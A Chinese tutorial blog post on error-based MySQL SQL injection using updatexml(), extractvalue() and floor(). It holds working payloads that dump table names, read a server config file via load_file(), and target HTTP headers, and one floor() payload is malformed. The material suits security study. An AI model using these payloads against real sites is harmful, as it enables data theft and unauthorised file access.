基于函数报错信息进行注入
适用情况
Insert/update/delete型数据库的处理,都是通过报错函数进行数据注入回显的,或者通过DNSlog注入来获取数据。
如:注册,修改,删除等都属于数据库的上述三种操作,其中delete型需要在删除选项处查看网站URL,其余两种只需要在输入数据处进行注入即可
常用报错函数
- updatexml():Mysql中对XML文档数据进行查询和修改的XPATH函数,通过xml查询过程中的返回的错误获取报错信息
updatexml(xml_target, xpath, new_xml)
xml_target::需要操作的xml片段,为表中字段名
xpath:需要更新的xml路径(xpath格式的字符串)
new_xml:更新后的内容
第二个参数xpath的定位必须是有效的,否则会发生错误。
如果Xpath传入的是一个表达式,那么会先把表达式执行一遍再进行报错。
实际上第一个和第三个传入的参数都是错误的,重点是第二个传入的参数 - extractvalue():Mysql中对XML文档数据进行查询的函数,通过xml查询过程中的返回的错误获取报错信息,并返回包含查询值的字符串
extravalue(xml_document,xpath_string)
构造XPATH定位的错位 - floor():Mysql中用来取整的函数,通过数据生成错误产生报错信息
基于函数报错的信息获取
思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
前置条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
具体操作
1.updatexml()
法一
admin' and updatexml(1,concat(0x7e,version()),0) #
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) #
此时出现报错Subquery returns more than 1 row,添加限制
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
0x7e是~的十六进制,用于显示完整信息,避免被吃掉,也可以在抓包中方便查找的索引
limit m n 表示从第m行开始,往前n位
之后可以通过修改limit的m值来查看不同的类,其他操作以此类推,也可以通过Burp进行抓包,使用Intruder进行爆破,在limit的m值处添加爆破点,对列数进行联系爆破
法二
admin' or updatexml(1,concat(0x7e,version()),0) or'
法三
admin' and updatexml(1,concat(0x7e,database()),0) and '1'='1
2.extractvalue()
kobe' and extractvalue(0,concat(0x7e,database())) #
kobe' or extractvalue(0,concat(0x7e,database())) or'
原理和updatexml()差不多,,只不过传两个参数,第一个参数错误,第二个参数正常
读取文件
kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) #
3.floor()
kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x from information_schema.tables group by x )a)
利用的逻辑差不多
补充
Http Header注入
有时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http header头信息获取客户端的一些信息,比如useragent,accept等会对http header信息进行获取并且使用SQL进行处理,如果此时没有足够的安全考虑则会导致基于http header的SQL Inject漏洞。
Http header注入需要我们关注数据包与数据库存在交互的地方,如果这种地方过滤比严格,闭合简单,可以通过报错函数注入出数据库的数据
如:user-agent,cookie等等
总结
SQL注入的精髓在于他没有原来回显位,而你通过构造完成了闭合,继而通过报错函数的报错信息创造了回显位,让数据库的信息展现出来,只要闭合完成,那么你的报错函数正常执行,三种就都是一样的结果
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15127728.html